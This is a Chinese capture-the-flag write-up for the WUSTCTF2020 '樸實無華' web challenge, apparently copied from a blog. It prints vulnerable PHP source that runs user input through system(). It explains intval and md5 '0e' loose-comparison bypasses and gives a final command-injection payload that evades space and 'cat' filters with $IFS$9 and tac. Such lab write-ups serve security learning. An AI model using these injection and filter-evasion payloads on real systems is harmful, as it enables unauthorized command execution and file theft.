題目
點開頁面顯示如下
頁面顯示了一行報錯:Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4
意思為不能修改報頭信息-報頭已經發送(輸出開始于/var/www/html/index.php:3)在/var/www/html/index.php第4行
查看源代碼也沒有其他線索,用dirsearch掃一下看看
掃到一個robots.txt,訪問之后頁面顯示如下
訪問fAke_flagggg.php,顯示如下
查看源碼什么也沒有,抓包試一下
訪問這個頁面,出現了亂碼
用的火狐,按alt查找修改文字編碼就可以了,顯示如下
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不經意間看了看我的勞力士, 不是想看時間, 只是想不經意間, 讓你知道我過得比你好.</br>";}else{die("金錢解決不了窮人的本質問題");}
}else{die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到這個CTFer拿到flag后, 感激涕零, 跑去東瀾岸, 找一家餐廳, 把廚師轟出去, 自己炒兩個拿手小菜, 倒一杯散裝白酒, 致富有道, 別學小暴.</br>";elsedie("我趕緊喊來我的酒肉朋友, 他打了個電話, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的樸實無華, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
去非洲吧
level1代碼中,intval()函數將$num轉換為整數類型,并進行比較判斷,如果$num小于2020且$num+1大于2021,則輸出消息“我不經意......”
關鍵在于intval函數,intval函數參數填入科學計數法的字符串,會以e前面的數字作為返回值而對于科學計數法+數字則會返回字符串類型
通過
level2是md5,找到一串數字使它md5加密后的數值和原來的相等,php具有弱類型,==進行比較的時候會先將字符串類型轉化為相同,再比較
典型的md5繞過,繞過原理就是加密前后都是0e開頭的字符串
通過
level3代碼中
-
使用
strstr($get_flag, " ")
函數檢查$get_flag
是否包含空格。如果$get_flag
中不包含空格,則執行下面的代碼;否則,輸出一條消息"快到非洲了"并終止程序的執行。 -
如果
$get_flag
中不包含空格,則使用str_ireplace("cat", "wctf2020", $get_flag)
函數將$get_flag
中的所有"cat"替換為"wctf2020",并將結果重新賦值給$get_flag
。
很明顯,這里過濾了cat命令,但是查看文件的linux
命令還有很多,例如tac less more tail
都可以作為替代。
空格繞過可以使用$IFS$9
已經知道了flag文件在當前目錄下
所以最終的payload為
?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
參考文章鏈接:
[WUSTCTF2020]樸實無華-CSDN博客
練[WUSTCTF2020]樸實無華_生而逢時的博客-CSDN博客